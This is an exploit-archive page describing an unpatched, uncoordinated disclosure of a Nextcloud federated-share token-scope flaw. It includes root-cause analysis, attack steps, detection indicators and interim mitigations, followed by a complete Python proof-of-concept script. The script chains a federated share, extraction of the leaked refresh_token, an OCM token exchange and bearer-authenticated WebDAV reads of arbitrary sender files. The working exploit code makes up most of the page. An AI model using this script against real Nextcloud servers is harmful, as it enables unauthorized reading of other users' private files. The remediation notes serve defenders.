PoC Archive PoC Archive
High None assigned as of 2026-07-03 unpatched

Nextcloud Federated Share OCM Bearer Token Scope Escalation to Sender WebDAV Access

by bikini (@ashdfrkl) — original discovery; mirrored via exploitarium · 2026-07-03

Severity
High
CVE
None assigned as of 2026-07-03
Category
cloud
Affected product
Nextcloud Server — federated file sharing, OCM token exchange, WebDAV bearer authentication
Affected versions
Nextcloud Server 35.0.0 dev / build 35.0.0.1, commit d9027189329b6b13159d480f7d5e36444badde13
Disclosed
2026-07-03
Patch status
unpatched

Metadata

FieldValue
Date Added2026-07-03
Last Updated2026-06
Author / Researcherbikini (@ashdfrkl) — original discovery; mirrored via exploitarium
CVE / AdvisoryNone assigned as of 2026-07-03
Categorycloud
SeverityHigh
CVSS ScoreNot yet scored (no CVE/CVSS assigned)
StatusPoC
Tagsnextcloud, federated-sharing, ocm, bearer-token, webdav, token-scope, authorization-bypass, oauth-like-flow
RelatedN/A

Affected Target

FieldValue
Software / SystemNextcloud Server — federated file sharing, OCM token exchange, WebDAV bearer authentication
Versions AffectedNextcloud Server 35.0.0 dev / build 35.0.0.1, commit d9027189329b6b13159d480f7d5e36444badde13
Language / PlatformPython 3.10+ standard library; targets Nextcloud Server HTTP/OCS/WebDAV APIs across two federated instances
Authentication RequiredYes — attacker needs a normal local account on the recipient instance; sender must create one federated share to that account
Network Access RequiredYes

Summary

When a Nextcloud user creates a normal federated file share, the sender instance generates a permanent authentication token that is also stored as the federated share’s secret; that token is created without an explicit narrow scope, so it defaults to full filesystem access. The recipient instance’s pending remote-shares OCS API (/remote_shares/pending) serializes this same secret back to the recipient as a refresh_token field. The sender’s OCM token endpoint (cloud_federation_api) accepts that value as an authorization code and exchanges it for a bearer access token — again without applying a filesystem-restricting scope — and that bearer token is then honored by the sender’s WebDAV endpoint as a full session for the sender user, not just for the one shared file. As a result, a recipient of a single federated share can read the sender’s pending-share metadata, exchange the leaked token, and use the resulting bearer to fetch arbitrary WebDAV paths belonging to the sender account, well outside the scope of what was actually shared. This PoC was published by a pseudonymous independent researcher (bikini/ashdfrkl) as part of the uncoordinated “exploitarium” vulnerability dump; it has not been vendor-confirmed.


Vulnerability Details

Root Cause

FederatedShareProvider::createFederatedShare generates a permanent token via PublicKeyTokenProvider::generateToken using a caller-default scope (which defaults to filesystem access in PublicKeyToken.php when no scope is supplied), and stores that same token value as the federated share secret; ExternalShare::jsonSerialize then exposes this secret to the recipient as refresh_token through the OCS pending remote-shares API, and TokenController::accessToken exchanges it for an OCM bearer token without binding that token to the specific share, node, or restricted permissions — allowing the resulting bearer to authenticate full sender WebDAV sessions via BearerAuth/User\Session.

Attack Vector

  1. Sender (victim) creates a normal federated file share of one file to the attacker’s account on a separate recipient instance.
  2. Nextcloud generates a permanent, filesystem-scoped authentication token on the sender side and stores it as the share’s secret.
  3. Attacker, authenticated as the recipient, queries GET /ocs/v2.php/apps/files_sharing/api/v1/remote_shares/pending on the recipient instance and reads the refresh_token field for the pending share.
  4. Attacker submits that refresh_token to the sender’s POST /index.php/apps/cloud_federation_api/api/v1/access-token endpoint, which validates it as a known share token and returns a Bearer access token scoped to the sender’s filesystem session.
  5. Attacker uses the returned bearer token against the sender’s WebDAV endpoint (GET /remote.php/dav/files/<sender>/<path>) to fetch arbitrary files belonging to the sender, not limited to the originally shared item.

Impact

A recipient of a single, intentionally limited federated file share can read arbitrary files from the sender’s account via WebDAV, fully escaping the scope of the share that was actually granted.


Environment / Lab Setup

Target:   Two Nextcloud Server instances (35.0.0 dev / build 35.0.0.1) with federatedfilesharing, files_sharing, cloud_federation_api, and dav enabled
Attacker: Python 3.10+ standard library only

Proof of Concept

PoC Script

See poc.py in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
python poc.py \
  --sender-base https://127.0.0.1:18880 \
  --recipient-base https://127.0.0.1:18881 \
  --sender-user victim \
  --sender-password 'VictimPass123!' \
  --recipient-user attacker \
  --recipient-password 'AttackerPass123!' \
  --share-path /shared.txt \
  --proof-path /secret.txt \
  --insecure \
  --timeout 90 \
  --output proof.json

The script creates a federated share of /shared.txt from the sender to the recipient, reads the recipient’s pending remote-shares API to extract the leaked refresh_token, exchanges it at the sender’s OCM token endpoint for a bearer token, and uses that bearer against the sender’s WebDAV endpoint to fetch an unrelated sender file (/secret.txt), printing and saving full proof of the out-of-scope access.


Detection & Indicators of Compromise

Signs of compromise:

  • WebDAV access logs showing a bearer-authenticated session for a sender account fetching files never part of a federated share
  • OCM token exchange requests correlated with pending remote-share refresh_token values shortly followed by broad WebDAV traversal
  • Recipient accounts querying /remote_shares/pending at unusual frequency or immediately after receiving a new federated share

Remediation

ActionDetail
Primary fixNo vendor patch confirmed as of 2026-07-03 — monitor for advisory
Interim mitigationCreate federated-share refresh tokens with a purpose-specific, non-filesystem-wide scope; bind exchanged OCM access tokens to the specific share id/node/permissions; remove sender refresh tokens from recipient-facing OCS responses; enforce OCM token scope inside WebDAV bearer authentication

References


Notes

Mirrored from https://github.com/bikini/exploitarium (folder: nextcloud-federated-share-bearer-token-poc) on 2026-07-03. No CVE has been assigned as of ingestion — this is an uncoordinated disclosure by a pseudonymous researcher; treat with appropriate caution pending vendor confirmation.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
import argparse
import base64
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


class HttpResult:
    def __init__(self, status, headers, body):
        self.status = status
        self.headers = dict(headers)
        self.body = body

    @property
    def text(self):
        return self.body.decode("utf-8", "replace")


def clean_base(value):
    return value.rstrip("/")


def clean_path(value):
    if value.startswith("/"):
        return value
    return "/" + value


def short(value, limit=300):
    value = value.replace("\r", "\\r").replace("\n", "\\n")
    if len(value) <= limit:
        return value
    return value[:limit] + "..."


def auth_header(username, password):
    raw = f"{username}:{password}".encode()
    return "Basic " + base64.b64encode(raw).decode()


def request(method, url, context, timeout, headers=None, form=None, username=None, password=None):
    headers = dict(headers or {})
    body = None
    if form is not None:
        body = urllib.parse.urlencode(form).encode()
        headers.setdefault("Content-Type", "application/x-www-form-urlencoded")
    if username is not None:
        headers["Authorization"] = auth_header(username, password)
    req = urllib.request.Request(url, data=body, headers=headers, method=method)
    try:
        with urllib.request.urlopen(req, context=context, timeout=timeout) as response:
            return HttpResult(response.status, response.headers, response.read())
    except urllib.error.HTTPError as error:
        return HttpResult(error.code, error.headers, error.read())


def require_json(result, label):
    try:
        return json.loads(result.text)
    except json.JSONDecodeError as error:
        raise RuntimeError(f"{label} returned invalid JSON: {error}: {short(result.text)}")


def require_success(result, label):
    if result.status < 200 or result.status >= 300:
        raise RuntimeError(f"{label} returned HTTP {result.status}: {short(result.text)}")


def extract_ocs(result, label):
    require_success(result, label)
    data = require_json(result, label)
    if "ocs" not in data:
        raise RuntimeError(f"{label} response has no ocs envelope: {short(result.text)}")
    meta = data["ocs"].get("meta", {})
    statuscode = int(meta.get("statuscode", 0))
    if statuscode not in (100, 200):
        raise RuntimeError(f"{label} returned OCS {statuscode}: {meta.get('message', '')}")
    return data["ocs"].get("data"), meta


def create_share(args, context):
    share_with = args.share_with or f"{args.recipient_user}@{args.recipient_base}"
    return request(
        "POST",
        f"{args.sender_base}/ocs/v2.php/apps/files_sharing/api/v1/shares",
        context,
        args.timeout,
        headers={"OCS-APIREQUEST": "true", "Accept": "application/json"},
        form={
            "path": args.share_path,
            "shareType": "6",
            "shareWith": share_with,
            "permissions": str(args.permissions),
        },
        username=args.sender_user,
        password=args.sender_password,
    )


def pending_shares(args, context):
    return request(
        "GET",
        f"{args.recipient_base}/ocs/v2.php/apps/files_sharing/api/v1/remote_shares/pending",
        context,
        args.timeout,
        headers={"OCS-APIREQUEST": "true", "Accept": "application/json"},
        username=args.recipient_user,
        password=args.recipient_password,
    )


def select_share(shares, args):
    sender = args.sender_base.rstrip("/") + "/"
    matches = []
    for share in shares:
        if str(share.get("remote", "")).rstrip("/") + "/" != sender:
            continue
        if str(share.get("user", "")) != args.recipient_user:
            continue
        if str(share.get("name", "")) != args.share_path:
            continue
        if "refresh_token" in share and share["refresh_token"]:
            matches.append(share)
    if not matches:
        raise RuntimeError("no matching pending remote share with refresh_token was returned")
    return max(matches, key=lambda item: int(item.get("id", 0)))


def exchange_token(args, context, refresh_token):
    return request(
        "POST",
        f"{args.sender_base}{args.token_endpoint}",
        context,
        args.timeout,
        headers={"Accept": "application/json"},
        form={
            "grant_type": "authorization_code",
            "code": refresh_token,
        },
    )


def webdav_url(args, path):
    user = urllib.parse.quote(args.sender_user, safe="")
    target = urllib.parse.quote(path.lstrip("/"), safe="/")
    return f"{args.sender_base}/remote.php/dav/files/{user}/{target}"


def webdav_get(args, context, access_token):
    return request(
        "GET",
        webdav_url(args, args.proof_path),
        context,
        args.timeout,
        headers={"Authorization": f"Bearer {access_token}", "Accept": "*/*"},
    )


def webdav_root(args, context, access_token):
    user = urllib.parse.quote(args.sender_user, safe="")
    return request(
        "PROPFIND",
        f"{args.sender_base}/remote.php/dav/files/{user}/",
        context,
        args.timeout,
        headers={"Authorization": f"Bearer {access_token}", "Depth": "1"},
    )


def preview(value):
    if not value:
        return ""
    if len(value) <= 18:
        return value
    return value[:9] + "..." + value[-6:]


def run(args):
    context = ssl._create_unverified_context() if args.insecure else ssl.create_default_context()
    create_result = create_share(args, context)
    create_data, create_meta = extract_ocs(create_result, "create federated share")
    pending_result = pending_shares(args, context)
    pending_data, pending_meta = extract_ocs(pending_result, "recipient pending shares")
    selected = select_share(pending_data, args)
    refresh_token = selected["refresh_token"]
    exchange_result = exchange_token(args, context, refresh_token)
    require_success(exchange_result, "token exchange")
    exchange_data = require_json(exchange_result, "token exchange")
    access_token = exchange_data.get("access_token")
    if not access_token:
        raise RuntimeError(f"token exchange response has no access_token: {short(exchange_result.text)}")
    root_result = webdav_root(args, context, access_token)
    proof_result = webdav_get(args, context, access_token)
    require_success(proof_result, "proof WebDAV read")
    proof = {
        "senderBase": args.sender_base,
        "recipientBase": args.recipient_base,
        "sharePath": args.share_path,
        "proofPath": args.proof_path,
        "createShare": {
            "httpStatus": create_result.status,
            "ocsStatus": create_meta.get("statuscode"),
            "shareId": str(create_data.get("id", "")) if isinstance(create_data, dict) else "",
            "tokenPreview": preview(str(create_data.get("token", ""))) if isinstance(create_data, dict) else "",
        },
        "pendingShare": {
            "id": str(selected.get("id", "")),
            "remoteId": str(selected.get("remote_id", "")),
            "refreshTokenPreview": preview(refresh_token),
            "refreshTokenLength": len(refresh_token),
        },
        "tokenExchange": {
            "httpStatus": exchange_result.status,
            "tokenType": exchange_data.get("token_type"),
            "expiresIn": exchange_data.get("expires_in"),
            "accessTokenPreview": preview(access_token),
        },
        "webdavRoot": {
            "httpStatus": root_result.status,
            "bodyPreview": root_result.text[:500],
        },
        "webdavProof": {
            "httpStatus": proof_result.status,
            "xUserId": proof_result.headers.get("X-User-Id", ""),
            "contentLength": len(proof_result.body),
            "body": proof_result.text,
        },
    }
    return proof


def parse_args(argv):
    parser = argparse.ArgumentParser()
    parser.add_argument("--sender-base", required=True)
    parser.add_argument("--recipient-base", required=True)
    parser.add_argument("--sender-user", required=True)
    parser.add_argument("--sender-password", required=True)
    parser.add_argument("--recipient-user", required=True)
    parser.add_argument("--recipient-password", required=True)
    parser.add_argument("--share-path", default="/shared.txt")
    parser.add_argument("--proof-path", default="/secret.txt")
    parser.add_argument("--share-with")
    parser.add_argument("--permissions", type=int, default=1)
    parser.add_argument("--token-endpoint", default="/index.php/apps/cloud_federation_api/api/v1/access-token")
    parser.add_argument("--timeout", type=float, default=90.0)
    parser.add_argument("--output", default="proof.json")
    parser.add_argument("--insecure", action="store_true")
    args = parser.parse_args(argv)
    args.sender_base = clean_base(args.sender_base)
    args.recipient_base = clean_base(args.recipient_base)
    args.share_path = clean_path(args.share_path)
    args.proof_path = clean_path(args.proof_path)
    if not args.token_endpoint.startswith("/"):
        args.token_endpoint = "/" + args.token_endpoint
    return args


def main(argv):
    args = parse_args(argv)
    try:
        proof = run(args)
    except Exception as error:
        print(f"error: {error}", file=sys.stderr)
        return 1
    text = json.dumps(proof, indent=2, sort_keys=True)
    if args.output == "-":
        print(text)
    else:
        with open(args.output, "w", encoding="utf-8") as handle:
            handle.write(text + "\n")
        print(text)
    return 0


if __name__ == "__main__":
    raise SystemExit(main(sys.argv[1:]))